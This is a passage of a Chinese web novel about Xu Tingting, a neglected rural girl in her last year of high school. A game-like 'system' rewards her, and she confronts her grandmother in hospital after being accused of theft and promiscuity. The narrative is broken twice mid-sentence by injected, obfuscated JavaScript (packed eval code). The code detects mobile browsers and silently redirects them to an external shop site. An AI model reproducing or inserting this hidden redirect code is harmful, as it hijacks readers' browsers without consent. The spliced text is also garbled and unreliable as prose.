【凭着一腔真诚和勇敢，你打动了班主任陈若龙。你的舍友陆晨曦被你解决问题时展露的从容吸引，觉得你有趣。她们共同帮助了你，你最终与张浩文父子达成和解，令张浩文向你、向被他非议的所有女生道歉】 【你接纳陆晨曦，与她成为朋友。你回应舍友的善意，增进了彼此的关系。你更换新发型，用零花钱善待自己，更换了生活用品，购买了月经用品，不再为穷困感到痛苦】 【你应下陆晨曦的邀请，每日晨跑；你接受大家的建议，选择营养搭配均衡的每日三餐】 【你的身体变好了，你的成绩进步了】 【你受邀前往陆晨曦家里做客，第一次玩了电脑游戏，第一次看了美剧】 【你在陆晨曦的指点下学会骑自行车，拍照留恋】 【当你回到宿舍，你看见你陈旧的枕头被褥，想起过去的灰暗记忆】 【你，只是一个得不到钱和爱的留守儿童，连属于自己的枕头都不曾拥有过】 【你想拥有，你有能力拥有，为何不拥有呢？】 【你扔掉你厌恶的枕头，用零花钱买下想要的枕头、枕套、被子和席子，你环视焕然一新的小床，如同狼王巡视她的领地】 【你的人生已经翻开新的篇章，你决定——】 10. 一个没有归属感的家 【选项一：获得一项技能（随机），背包增加1格，获得1000元零花钱】 【选项二：获得一件道具（随机），背包增加1格，获得1000元零花钱】 【选项三：开启社区功能，背包增加1格，获得1000元零花钱】 是不一样的选择题，每个选择都是奖励。 系统对她真好！ 徐婷婷睁眼看着蚊帐顶，有点茫然，脑海里千般念头流转。 回想绑定系统以来的经历，她似乎没有做出多少改变。 她还是那样怯弱，主动跟别人搭讪都要做好准备，害怕被无视。她与陆晨曦相处，也有种双脚落不到地面的漂浮感，忧心陆晨曦有朝一日会厌恶她，离她而去。 把零花钱用在日用品、月经用品、被子被套上，她的心也是不踏实的。 奶奶灌注给她的花钱观念是节俭，把没有坏掉的物品扔掉换新的，如同在做不被允许的事情，一旦奶奶知情，她将会挨很久的骂，奶奶会让所有人都会知道她是一个爱慕虚荣的人。 花钱买东西得到的微小快乐，与浪费产生的负罪互相纠缠，让徐婷婷的心倍感煎熬。她仿佛不配用新东西、好东西，拥有了也是偷来的，迟早会失去。 可是，当她想到自己每一笔不被奶奶允许的消费，都会让奶奶生气很长时间，她便从这些不被允许的消费行为中得到隐蔽的、不可告人的快感。 奶奶要她勤俭节约不享乐，她偏要铺张浪费娱乐自己！ 远在县城的校园不受奶奶控制，她喜欢留校。在这段奶奶不知道的时间里，她像一棵不断生长的小树，在系统的浇灌下，悄悄地放肆地长成了奶奶不希望她成为的模样。 徐婷婷知道，只要她回家，或者她向奶奶或别的亲人泄露她的改变，她立刻就会遭到奶奶冷酷无情的修剪，可是那又有什么关系呢？ 奶奶难道能把她困在家里不让她来学校？ 奶奶难道能让系统解除和她的绑定？ 她确实和从前不一样了。 就算奶奶要求她退学，她的好朋友陆晨曦、她的舍友、她的同学也会站在她身边鼓励她继续学业，她的班主任也会觉得奶奶对她过分，劝奶奶让她读完高中考完高考。 忽然间，徐婷婷发现奶奶也是一只虚张声势吓唬人的纸老虎。 奶奶掌握着钱，而她受制于钱，不得不听从奶奶。 当她拥有经济来源，不需要从奶奶身上获取钱，奶奶便无法挟制她。 “嘀嗒~嘀嗒~” 选择题的倒计时在继续，徐婷婷还剩下十秒。 她迅速收拢杂念，思考如何选择。 技能（随机）是什么东西？道具又是什么？ 全都不懂，系统应该用小字解释说明一下专有名词，她很需要。 社区看起来不同寻常，但徐婷婷跟陆晨曦是好朋友，跟舍友、同学相处得不错，暂时没有交际需求，先pass选择三。 剩下二选其一，刚好能用硬币的正反两面决定。 正面是技能，反面是道具。 徐婷婷闭眼抛硬币，睁开眼睛，她捡起硬币。 正面，选技能。 【叮！你完成选项一，抽中技能“蚊子不想咬你”，背包增加1格，1000元零花钱已发放至账号】 【蚊子不想咬你：你也被蚊子困扰吗？从今天开始让咬人的蚊子避开你吧！该技能每日可使用1次，1次可持续72小时。注意！该技能无法解决其它虫子的叮咬】 哇！哇！超厉害哎！ 竟然是个节省蚊香的实用技能！连蚊帐的钱都不用花了！ 时不时被蚊子咬一口的徐婷婷高兴得在床上翻滚，当即对自己使用【蚊子不想咬你】，还喜滋滋地跑去陆晨曦床上，对她用不出技能才想起每天只能用一次。 “怎么啦？瞧你一会儿高兴一会儿发傻，你在想啥？”陆晨曦不解。 “没啥，嘻嘻，嘻嘻！”徐婷婷实在激动，张开手臂用力地抱了陆晨曦一下，跟她说悄悄话，分享喜悦，“我的亲戚特别好！给我发了一千块钱！” “难怪你这么乐！”陆晨曦恍然。 徐婷婷嘿嘿笑着回到自己的床，躺下来抱住被子，看着属性面板上的【金钱：1000】，心里满是对未来的憧憬。 谁不能成为更好的自己呢？ 完成人生事件能拿到十万块，她要好好努力！ 想到这里，徐婷婷连忙调整睡姿，闭上眼睛午休。 该玩的时候开心地玩，该学习的时候认真学习，该午休了就得老老实实午休，这是她一直坚持的习惯。 …… 来自北方的寒潮席卷大地，气温骤然降低，空气湿度随之下降，令人措手不及。这场寒潮持续的时间相当长，秋天仿佛过去了，冬季正在进行。 周五清晨，徐婷婷在温暖的被窝醒来，感受到外界的温度，不是很想起床。她把双手伸出被窝，缓慢蠕动身体，然后绷直双脚伸了个懒腰，感觉浑身舒爽。 就是这个味，每天起床都要来一次！ 是时候起床了！ 徐婷婷迅速坐起，用梳子收拾睡觉时弄乱的头发，拿过昨晚放在床头的新毛衣穿上，再抓起校服外套穿好，然后下床穿袜子鞋子，到阳台上洗漱。 不用她叫，陆晨曦自己起来了，揉着眼睛一脸不高兴。 每天起床陆晨曦都是这个被人欠了钱的样子，徐婷婷早就习惯了。她打湿洗脸巾擦脸，再洗一遍洗脸巾，将洗脸巾挂在衣架子上晾干。 洗脸巾是蓝白间色，有可爱的小熊图案，是她上周在超市买的。 陆晨曦说这个品牌的毛巾质量好，吸水性良好，也足够亲肤，总之就是好用。 徐婷婷赞同她，毛巾确实好用。 “好了没有？得去跑步了。” “快了，我上个厕所，谁在厕所里，还要等多久？” “嗷！这水好冷冷冷冷！冻得我手都僵硬了！” 舍友们有的还缩在被窝里，大声嚷嚷：“谁去外面买早餐啊？今天我不想吃食堂，谁帮我带豆浆油条和皮蛋瘦肉粥？” 女生宿舍楼距离学校的后门不远，每天早上后门都有人摆摊卖早餐，什么豆浆油条包子农家酱香饼，什么肠粉皮蛋瘦肉粥鸡蛋糕煎堆，都比寡淡无味的食堂早餐诱人得多。 操场就比后门冷清多了，徐婷婷和陆晨曦开始慢跑，两百米改成四百米，跑完了还要慢跑到食堂，不出点汗是休想进食堂吃饭的。 一起打了早餐，坐在桌子上，陆晨曦打哈欠，嘟囔道：“我感觉我有点坚持不下去了，天天早起晨跑，这真的太辛苦了。你想放弃了晨跑没有？” 该怎么回答陆晨曦呢？徐婷婷思考，决定讲实话：“晨跑是个好习惯，我喜欢。” 更重要的是，每日晨跑能领取一支初级营养补充剂。 她不知道这玩意含有什么成分，但是她每天吃，再好好地吃三餐，每天都在长高。 “晨曦也长高了，是吧？”徐婷婷有记录陆晨曦的身高。 “我才十七岁，长高不很正常吗？”陆晨曦的语气理所当然。 她皱着眉，用勺子捞起粥里深紫色的豆子，一脸苦大仇深的表情：“我好恨！我妈咋就不能奋斗成小说里天凉王破的霸道总裁？要是我妈是霸道总裁，我立刻让这辣鸡食堂破产，找个做饭好吃的承包食堂！瞧瞧这粥，熬得乱七八糟，没滋没味的，一点都不好吃！” 徐婷婷：“……是有点难吃啦，但我觉得食堂没到不能下口的程度。” 吃过好吃的馄饨，吃过陆晨曦家美味的饭菜，又吃过学校附近的螺蛳粉，徐婷婷已经能分辨食堂饭菜美味与否。 “哼，好端端的食材，做得不好吃就是在犯罪！”陆晨曦狠狠地把粥送到嘴里，用力咀嚼豆子，怨念更浓了，“太恨了，我妈太不努力了，她竟然不是霸道总裁！” “你妈已经很好了。”徐婷婷很希望自己妈是陆妈妈。 “她还能更好。”陆晨曦说，“妈妈不努力，我这个女儿以后怎么享乐？” 这种观点徐婷婷以前是没听说过的。 她一边吃一边忍不住想，她的爸爸妈妈为什么不努力一点呢？去大城市打工都几十年了，她这女儿还是和奶奶住在下雨漏水的砖瓦房里，真是不嫌丢人啊。 不过，徐婷婷对老家没有归属感。 虽然她自小跟着奶奶生活，可是她做了奶奶不允许的事，奶奶会把她的衣服扔出门，指着门让她滚。 而爸爸妈妈，还有叔叔一家、姑姑一家，他们只在每年过年回来一次，有时候不回来。明明他们是亲人，徐婷婷看到他们的时候只觉得陌生，奶奶要求她热 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14294169|152137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情地亲近他们，她根本做不到。 如果可以，她连招呼都不想跟他们打。 从大城市回来的他们衣着光鲜，与乡下人截然不同。 他们从容地坐在家里的客厅，以主人姿态邀请平时不来往的男邻居进来聊天说笑，熟练地分发香烟瓜子糖果砂糖橘，一起吞云吐雾，徐婷婷便觉得熟悉的家变得陌生。 家被掌握在他们手里，她要做个乖巧的孩子，要随时向他们问好，就连奶奶都在刻意地讨好他们，她感觉她就像被扔进水里生活，随时会缺氧窒息。 徐婷婷想到了陆晨曦的家。 她在陆晨曦家做客，也像爸妈回老家一样小心，担心被陆妈妈认为不礼貌。担心自己的一举一动不得体，让陆妈妈厌烦，继而迁怒陆晨曦。 这些担忧都是不能跟陆晨曦说的，即便说了出来，陆晨曦也理解不了她的惶恐。 毕竟陆晨曦的家庭那么幸福，妈妈和姨姨都那么爱她，她的性格那么自信，那么开朗大方，所有人都喜欢她。 要说陆晨曦的家庭有哪里不好，徐婷婷想，大约是她从未听陆晨曦提起过陆爸爸。 在教科书上，在别人的优秀作文里，在电视上，在小说里，在每个人的嘴中，幸福的家庭总是一样的—— 爸爸稳重可靠，总是在努力赚钱，不善于表达，沉默地爱着家庭的所有成员。妈妈优雅美丽，温柔细心，喜欢做饭，做饭很好吃，给予家庭所有成员关爱和呵护。孩子听话懂事，成绩优秀，在学校受人欢迎，在亲人中受到宠爱，懂得孝顺长辈…… 于是，徐婷婷想，如果陆晨曦的爸爸和妈妈不相爱，那么陆晨曦的家庭是不完整的。 她没有思考过幸福家庭为何是幸福家庭，正如她没有思考过奶奶对金钱的强烈到可怕的控制欲是否正常、爸爸妈妈决定生下她却不肯给予她孩子应有的关爱是否正确。 她按照大人的要求成长，按照社会对学生的要求考大学，人生的每个阶段都有大家一致认为必须完成的崇高目标，不必探究为什么，只要朝着目标努力前进，就能获得大家认可的成功、幸福、美满。 但目标是明确的，也是模糊的。 上午第一堂课是语文，班主任陈若龙站在讲台上俯视下方的学生们，沉声说：“现在是高三的上学期，距离高考还有189天。我今天不想督促你们努力，我认为你们是时候思考一下自己的人生了，明年高考你们要报考哪个大学？上哪个专业？考不上怎么办？考上了学费太贵怎么办？” 学生们互相看了看，脸上都写着一样的迷茫。 “省内有好大学，省外也有，你们大学是出省还是留在省内？”陈若龙提出一个问题，“下午放假，趁着休息好好想想，有条件的可以跟家长讨论一下。高考是你们去考，大学是你们去上，你们已经成年，或即将成年，应该学会决定自己的人生，把握人生的方向。” 徐婷婷对大学的了解仅限于知道名字，不出名的大学她连名字都记不住，大学选择哪个专业更是两眼一抹黑，啥都不了解。 她苦恼地挠头，趁人不注意悄悄闻了闻挠过头皮的手指，有点味，好像该洗头了。 半长不短的头发不仅影响运动，也影响她学习，她总要时不时把头发拨到耳后，也许她得买一个发箍处理头发？ 运动发箍也能处理头发，奈何丑。 讲台上，陈若龙也没指望一群学生立刻给出答案，她只是在学生心里埋个思考的引子。 让大家安静下来，陈若龙说：“放假回来会进行一次月考，全市排名，月考结束后我将根据月考结果重新安排座位。” 月考一事大家早就知道了，倒是重新安排座位引起了一些骚动。 徐婷婷坐在教室贴墙的单人座，没有同桌，她下意识地看向坐在中间后排的陆晨曦，希望和好朋友做同桌。 巧了，陆晨曦也是这么想的，现任同桌很好，能和徐婷婷做同桌更好。 讲完该讲的事，陈若龙在讲台后坐下，拿出手机，悠然道：“开始自习吧，爱学什么学什么。” 手指在屏幕上划了划，她看到一则信息，目光扫向徐婷婷。 这孩子的家长怎么回事？ 孩子升高三，换班主任了，家长还以为孩子的班主任是高二那位，找那位让徐婷婷这周回家照顾奶奶。 简直离谱！ 11. 无法冷静面对的亲人（致郁警告） 下课后，徐婷婷想去找陆晨曦一起上厕所，班主任陈若龙朝她招手，她便乖乖地跟着老师来到办公室，心里忐忑。 难道老师知道她请假出去买被子那天没吃食堂的饭，吃了好吃但不健康的螺蛳粉？ “不用这么紧张，老师只是找你聊天。”陈若龙让她坐下，打量她的穿着，她看起来穿得很暖和。 徐婷婷战战兢兢地坐下，不知道老师想聊什么。 陈若龙说道：“你可以抬起头看我，我的长相并不吓人，是吧？” 她的话听起来很轻松，不像责怪自己的样子。 徐婷婷便抬起头看老师。 老师长得严肃，平时总是板着一张脸，此时她露出笑容，格外温和。 徐婷婷不由得也笑了，小声说：“老师不吓人，只是看起来……让人担心自己是不是做了错事，有些害怕。” “我也想多笑笑啊。”陈若龙亲切地拍了拍学生的肩膀，跟她抱怨，“女老师很不好做。我温柔对待学生，上着课呢他们在底下说话，随便起哄。我严肃了，被起外号‘灭绝师太’，学生倒是听话了。” 想起教英语的女老师被男生们起哄，徐婷婷明白了：“那老师还是严肃一点吧。我知道老师特别好，我会一直记住老师的好。” “那倒是不用，教导学生只是为人师的基本责任。”陈若龙问，“新被子盖着暖和吗？” “很暖和！” “你打电话跟家长说过了吗？” 陈若龙话才问出，眼前神色放松的孩子一下子就变了脸色，就像草地上玩得开心的小兔子看见天上飞着老鹰。 “没，我没打过电话。”徐婷婷低头看膝盖。 “你的家长找了你以前的班主任，他们没有我的号码。”陈若龙斟酌着言辞，“我记得你开学是自己一个人缴费，家长没有送你来学校，是吧？” 徐婷婷点头。 陈若龙说：“他们没有问你要我的号码？” 徐婷婷再次点头：“我给奶奶打电话的时候忘了你的号码，就没有给。” 陈若龙说：“这是小事，不重要。你的家长让你这周回家照顾奶奶，你奶奶生病了，住在镇上的医院。” “嗯，我会回去的。” 两人之间陷入短暂的沉默。 陈若龙认为自己有必要了解学生的家庭情况，所以她主动问：“徐同学，能和老师说说你的家庭吗？不说也可以，老师不勉强你。” 说家庭？怎么说？ 徐婷婷一时间不知如何回答，想了想，说：“我的爸爸妈妈在大城市打工，弟弟也在大城市，家里只有我和奶奶。” 类似情况的留守儿童在乡下很常见，没什么稀奇的。 “弟弟几岁了？” “比我小三四岁吧？” 徐婷婷对弟弟的了解很少，她记不清他的脸，只记得他说他的球鞋花了四五百块，还有她有一年暑假去大城市找爸妈，他把她锁在阳台上，她洗澡时他趴在门口从缝隙里偷看。 她不喜欢他，她厌恶他。 陈若龙猜到她在家庭里的处境，继续问：“你的爸爸妈妈知道你明年高考吗？” 徐婷婷说：“知道，我考不上大学要进厂打工。我考完中考后，他们就想让我去打工。我说我考上县城最好的高中，成绩比别人好，我想上大学，大学毕业工资更高。” 乡下女孩基本是这处境，九年义务教育上完便去打工，好点的念完高中，读到大学的不多。 家长并不指望她们顶门立户，考上大学只是留在城里工作，但谁家女孩赚到钱给家里，那是乡里乡亲知道了都要夸孝顺的，还得羡慕地说一句女儿没白养。 看着说起进厂打工时语气平静得没有起伏的徐婷婷，陈若龙像是看到了千个万个相似的徐婷婷，她轻声说：“你最近学习很认真，再努力一点，肯定能考上大学。” 快要上课了，徐婷婷问：“老师，我能走了吗？” 陈若龙点点头。 徐婷婷转身离开，走了几步，她停下，回过头问：“老师，我能借一下厕所吗？” “可以。”陈若龙当然不会拒绝。 到了中午，徐婷婷还是和陆晨曦一起吃饭。 陆晨曦热情邀请她：“去我家做客吧，放学了我们一起骑共享单车回家！” “我奶奶生病了，我待会儿要给她打个电话，不能去你家玩了。”徐婷婷歉意地道。 “好可惜，我还想和你玩电脑游戏，你奶奶病得不要紧吧？” “还不知道。” “给，用我手机打。” 徐婷婷拒绝了：“我有电话卡，不想用你的话费。” 在智能手机普及的当代，电话亭很少见，平时也没什么人用。 徐婷婷插电话卡，拨出奶奶的手机号，一边等待接通，一边打量自己。 回家应该穿什么衣服？穿零花钱买的毛衣？穿系统奖励的运动鞋？ 电话接通了，奶奶说话了：“喂？” 徐婷婷说：“是我，奶奶。” 沉默在通话中流淌。 徐婷婷打破寂静：“你住院了？病得怎样？” 奶奶说血压高，降不下，去医院看，医生让住院，她就住院了。 “我今天下午上完课放假，爸妈让我去医院照顾你。” 徐婷婷看着电话亭上被人刻出的不规则痕迹，想到陆晨曦的邀请，想到床头的照片，并不想回去。 她问：“你需要我照顾吗？” 奶奶没有正面回答：“你爸妈让你来，你一个多月没回来了。” 徐婷婷无意识地用指甲在电话亭上抠了抠，眼前忽然浮现熟悉的文字。 【叮！你触发了生活事件，爸妈要求你去医院照顾奶奶，奶奶暗示你去医院照顾她，你决定——】 【选项一：答应去医院，获得100元路费】 【选项二：对奶奶说学业繁忙，你没空回去，获得《高中数学解题技巧》和100元零花钱】 【选项三：讥笑奶奶是不是病到瘫痪了，她儿子是不是死光了，居然要你这个马上高考的孙女照顾，获得500元学费】 是啊，奶奶没有病得很严重，她有能力自己照顾自己。 奶奶住院了，爸爸为什么不回来照顾？奶奶可是他的妈妈，他让读高三的女儿为他照顾他妈妈合适吗？ 想归想，徐婷婷不敢选三，看到文字描述她都觉得可怕，哪怕有500元，也无法做到。 奶奶可不是能开玩笑的陆晨曦。 她也不想选二，毕竟她迟早要回去面对奶奶，不能一直躲在学校。 只剩下一能选了，她选了它，对奶奶说：“我会去医院，你在哪个医院？哪个病房？” 【叮！你完成选项一，100元路费已发放至账号】 给太多了，从车站搭乘大巴回镇上，只要15元，往返要30元，用不上100元。 奶奶说了地址，徐婷婷记在纸上，重复了一遍，奶奶说没错。 通话又一次陷入了沉默。 徐婷婷知道，她应该找点话题，让通话别显得这么尴尬。但是奶奶不关心她，没问她的生活，也没问她的学习，她能和奶奶聊什么呢？ 结束吧。 她对奶奶说：“我要午休了。” 挂断电话。 接下来还要思考那个问题，该以什么姿态面对奶奶？ 【叮！你触发了生活事件，你决定——】 【选项一：穿校服探望奶奶，获得100元零花钱】 【选项二：穿上新外套、新毛衣、新运动裤，踩着崭新的运动鞋去探望，获得300元零花钱】 【选项三：去理发店烫头、染色做造型，给自己化烟熏妆，买炫酷潮流的衣服穿，以绝对叛逆的形象出现在奶奶面前，笑着问她惊不惊喜意不意外，获得1000元形象改造赞助费和500元零花钱】 看完字最多的选项三，徐婷婷顿时让系统给整无语了。 它还记得她是一个高三学生吗？ 又是烫头又是染发，还要化浓妆，奶奶见了不得立刻打电话告诉爸妈她想进厂打工？ 不过，她确实有点想这么做，不只是为了500元，还是因为她真的想做。 人常常有一些不被世俗接受的幻想，不是吗？ 克制住选三的危险念头，徐婷婷在一和二之间犹豫，选一可以把一切隐瞒下去，选二要解释买 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14294170|152137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 新衣服的钱怎么来，她更倾向于选一。 只是，她都决定见奶奶了，选一还不如不回去。 她选二。 照常午休，照常上课。 到了最后一堂课，大家惦记着放假，都不怎么认真学习，老师索性提前十分钟下课，立刻得到学生们的欢呼。 徐婷婷跟陆晨曦一起去校门口。 陆晨曦问：“你挤公交？” “不然呢？”徐婷婷的贵重物品都在【背包】里，要不是陆晨曦在，她下课了就进厕所把所有东西塞进【背包】，两手空空地跟别人挤公交车。 有时候好朋友太粘人了也不是一件好事。 “感觉你好辛苦，坐完公交车还要去车站搭乘班车。”陆晨曦打开手机，“你的目的地是镇上的医院，最便宜的拼车要30块5毛，我觉得你是花得起的。” 打车才三十来块？徐婷婷惊呆了，凑上去看陆晨曦的手机，还真是三十来块。 反正她有一百块车费，用不完会回收，干脆打车好了！ “但我没手机。”徐婷婷发愁。 “没事，我给你打车，我能看到你什么时候抵达，我给你付钱。”陆晨曦叫了车，“现金别给我，我俩关系好得很，下次我要花钱你付账。” “会不会很麻烦你？”徐婷婷不好意思。 “别老是计较这些鸡毛蒜皮的小事，我如果嫌麻烦，根本不会开口。”陆晨曦说。 在徐婷婷的印象里，小汽车是有钱人才能坐的。 她进了陆晨曦叫的车，车上还坐着同校的陌生同学，司机是同学的爸爸。 同学一声不吭。 司机开着车，问她：“小同学，你读几年级？怎么目的地是医院？” 徐婷婷正要回答，陌生同学语气很差地开口：“爸，你好烦！你搁这查别人户口呢？别人坐你的车，不是跟你聊天的。安静地开车，别说话好吗？” “问问而已。”司机嘟囔。 “问了你能给人家免路费吗？不能免你就闭上你的嘴！”陌生同学说。 司机不说话了，同学拿出手机玩。 徐婷婷安静地看窗外飞快变化的景色。 车在医院门口停下来，她不熟练地推开车门下车，按照地址找到奶奶的病房。 奶奶看到她很高兴：“婷婷，你好像长高了！” 目光落在她身上，奶奶脸色一沉，张开嘴便是徐婷婷熟悉的盘问：“你什么时候买的新衣服新鞋？怎么浑身上下都是新的？谁给你的钱，让你这样大手大脚地花出去？” 【叮！你触发了生活事件，听到奶奶的责怪，你决定——】 【选项一：如实叙说】 【选项二：找理由搪塞过去，获得100元零花钱】 【选项三：什么都不答，大声质问奶奶对弟弟那双五百多元的名牌球鞋有何看法，获得300元零花钱】 在路上，徐婷婷想了很多解释新衣服新鞋子的理由，也想过奶奶为她长高欣喜，夸她的新衣服新鞋子好看，打扮得有精神。 然而，她一切的心理建设，她一切的幻想，都在奶奶尖锐刺耳的盘问中摔得粉碎。 她多么想从容地处理这件事。 冷酷的现实却告诉她：你根本做不到！ 选择题她也不想关心了，她很委屈，很难过，心感到刀绞般的痛。 “我买了新衣服，我不配穿吗？” 徐婷婷的眼泪一下子涌出来，划过脸庞滴在地上，她注视着如同法官审讯犯人的奶奶，眼泪越流越凶，模糊了视野。 情绪已经崩溃，她哭着说：“我穿的都是别人不要的旧衣服，凭什么不能买新衣服？二十元一双的鞋我穿到烂，袜子都破洞了，弟弟穿五百块的球鞋！凭什么我不能买新鞋？我全身上下加起来，买得起五百元的球鞋吗？你说啊，你为什么偏心弟弟？” 病房里别的人投来看热闹的目光，窃窃私语。 奶奶傻眼了，面对倔强地盯着她的徐婷婷，好半天才反应过来，急忙呵斥道：“你哭什么！我是你奶奶，关心你，问你几句还不行了？”瞧着徐婷婷的新衣服新鞋，立刻硬气起来，“我没有给你买衣服的钱，你哪来的新衣服？是偷的还是抢的？” 12. 停止生女儿的婷（致郁警告！！！） 泪水流个不停，徐婷婷悲哀地发现，就算是哭，她也不能肆无忌惮地哭，因为她担心泪水弄脏衣服。她的衣服是新的，是用系统发的零花钱买的，很珍贵。 没有人给她递纸巾，她掏出口袋里的纸巾，擦着流不完的眼泪，看着审讯她的奶奶，想立刻逃出这个病房，逃往没有人认识她的地方。 但她不能那样做，她要高考，她舍不下好朋友陆晨曦，不愿意让班主任失望。 她近乎心碎地问奶奶：“我在你心里是什么样的人？你觉得我会偷会抢别人的衣服穿吗？” 奶奶坐在床上，绷着脸，极不满，丝毫不顾及孙女的尊严：“不然你哪来的衣服？”忽然她灵机一动，目光就像刀子刺向徐婷婷，大声喝问，“你是不是交了不三不四的男朋友，跟他上床，哄他给你买新衣服？” 惊怒的语气显得徐婷婷就像一个玷污了徐家门楣的荡/妇。 “说啊！你跟男的睡觉了是吧？”奶奶猛地站起来，手高高扬起，眼睛里充满了失望。 徐婷婷看到病房里其余人异样的眼神。 她的颜面被奶奶撕得破烂。 从来都这样，她没有从奶奶身上感觉到一丝尊重，也没有感受到亲情，从来都没有！ 奶奶只是把她养大，如同养大一只猫、一条狗。 她直视奶奶的眼，气愤地大吼道：“你觉得我是那样的人吗？我就那么让你厌恶吗？对你来说，我是偷东西的贼！是抢劫犯！” 眼泪从开始流淌就无法停止，纸巾早就湿透，徐婷婷的声音变了调，她昂着头，看着要扇她耳光的奶奶。 “我每天在学校念书，我的成绩进步了！” 徐婷婷大声说：“我想留在学校复习，爸妈说你病了，我才来医院探望你。你见了我，不问我考了多少分，不问我有没有被别人欺负，也不关心我降温了会不会冷！你觉得我随随便便跟男人上床！” 她不懂奶奶为何如此对她，她问：“你有把我当成你的孙女吗？你看到弟弟穿五百块的球鞋，会问他有没有交男朋友吗？问他有没有陪男人睡觉吗？！我生下来是女的，不是男的，所以我什么都不配有，我读完初中你们便要我进厂打工！” 一直文静老实的孙女变得牙尖嘴利，奶奶尴尬地放下巴掌，声音也小了：“哪有的事！你不是在县城读书吗？我还盼着你考上大学，以后坐在办公室里吹空调呢！” 别人都在看着，奶奶也不敢面对他们，若无其事地坐下，小声嘀咕：“你妈给你钱买的新衣服吗？还是你爸给的？” 原来奶奶知道她有爸妈。 徐婷婷流着眼泪，看着表现得像是不曾伤害她的奶奶。 总是这样，每次奶奶误会她，都不会道歉。 她失手打碎一只碗会被骂很久，奶奶自己打碎碗，碎片扫了扔掉，无事发生。 陆晨曦教她，要勇于表达内心的情绪，不要憋着谁都不告诉。 她听了，她说：“奶奶，我很伤心。你让我非常难过，你看到我哭了吗？” 奶奶惊讶地看向她。 她的泪水仍在流，她倔强地和奶奶对视，无声地要求奶奶给她一个交代。 然而奶奶看不懂她的暗示，用你怎么这么不懂事的语气说：“哭了就把眼泪擦了，都长成十七八岁的大姑娘了，还哭得跟个小孩子一样，不怕人笑吗？” 事情决不能这样随便糊弄过去，徐婷婷狠狠地瞪着奶奶。 “说了让你别哭！你聋了听不见？”奶奶开始不耐烦，“缺钱花了？要钱是吧！给你！” 奶奶从口袋里掏出钱，拿了一张五毛纸币，对上她的眼神，换成一张一元的给她：“下楼去买雪糕吃，医院边上有小卖部。” 平生第一次，奶奶给零花钱买雪糕。 如果她是讨人喜欢的乖孙女，她要害羞地接过钱，乖乖地下楼买雪糕。 可是徐婷婷不想做乖孙女。 眼前这奶奶给的一元钱，让她想起办公室里张浩文的爸爸递来的八张纸钞。 区区98元不能让她原谅张浩文，一元钱能买回她被撕烂的尊严吗？ 徐婷婷不接钱，一双泪眼映着奶奶的脸。 奶奶恼怒，正要说话，病房里响起别人的嗤笑：“一块钱买不到雪糕的啦，现在最便宜的雪糕也要两元钱了。” 钱少了？奶奶不想被人认为她吝啬，一狠心拿了五块钱给徐婷婷，黑着脸特别不高兴：“拿去花！随便你买什么吃的！” “我不要钱。”徐婷婷把钱推回，明明白白地说，“你污蔑我，我要你向我道歉！” “道歉？我污蔑你？”奶奶登时便气炸了，“你衣服哪来的怎么不说？你爸妈给你钱买的你咋不回答？你是哑巴吗？问你话你不会说，还有脸怪我！好好好，你长大了，翅膀硬了，我这个老东西管不动你了，你竟然欺负我！我这就给你爸打电话，问他给没给你钱！” 隔壁病床的人实在看不下去，劝说道：“老姐姐别恼了！你家这孩子在县一中读书，成绩肯定不差，看她不像会惹是生非的人，学校也有老师看着学生呢，由不得她乱来。孩子读高三吧？明年要高考，学习忙得很，还特地从县城搭车来探望你，多孝顺！你就不能高兴一下吗？非得跟孩子过不去，瞧现在，闹得多难看！” “是的啊，我家孩子能考上一中，我梦里都要偷笑。”别人附和。 “小孩贪新鲜，买点新衣服穿正常得很，瞧你也不是出不起那百来块衣服钱的，孙子穿着几百块的球鞋呢，不能对孙女太差。” “好闺女，拿着你奶奶给的钱去买零食吃吧，我们帮你劝劝你奶奶。” 有人拿过奶奶的五块钱塞给徐婷婷，和气一笑，要平息奶奶和孙女的矛盾。 于是，徐婷婷懂了。 这些人看似在帮助她，实际上没有一个是真正站在她这边的。 或许他们觉得奶奶对她过分，可他们不认为奶奶做错了，更不认为奶奶要向她道歉。 他们也是奶奶这样的长辈，他们家也有她这样的孩子，他们希望她听话。 他们认为，只要她听话，奶奶就会对她好。 什么叫对她好？不打她不骂她，饿不死她就是好。 他们觉得她没有尊严，五块钱能轻松哄好她。 病房里那么热闹，外面还有人探头探脑，徐婷婷却感觉到一种前所未有的孤独。 在向家长说“不”这条路上，她找不到任何一位同伴。 也没有前辈告诉她，她要怎么做。 幸好她有系统，虽然它自称辅助程序，但它一直陪伴她，支持她。 她能感觉到，系统希望她坚持自我，希望她勇敢地对家长说不，别再做一个任由家长摆弄的乖孩子。 突然间，徐婷婷想起班主任陈若龙早上说的话。 她现在十七岁，即将成年，应该学会决定自己的人生，把握人生的方向。 班主任如果来到这里，应该会支持她吧？ 徐婷婷整理好情绪，将塞到手里的五块钱递给奶奶，眼睛里的泪不知何时止住了，她一脸认真地对奶奶说：“我在读高三，过了年就十八岁了，我不是小孩子，两块钱的雪糕、五块钱的零食，我不稀罕。以后我工作了，我想吃多少能买多少。” 不用以后，现在她也有钱买下小卖部的所有零食满足口腹之欲。 她抱着从学校带出来的书本、试卷、文具，拿着装了洗漱用品、换洗衣服、拖鞋的袋子，像个成年人那样从容地注视着从来不尊重她的奶奶。 她的声音也是平和的。 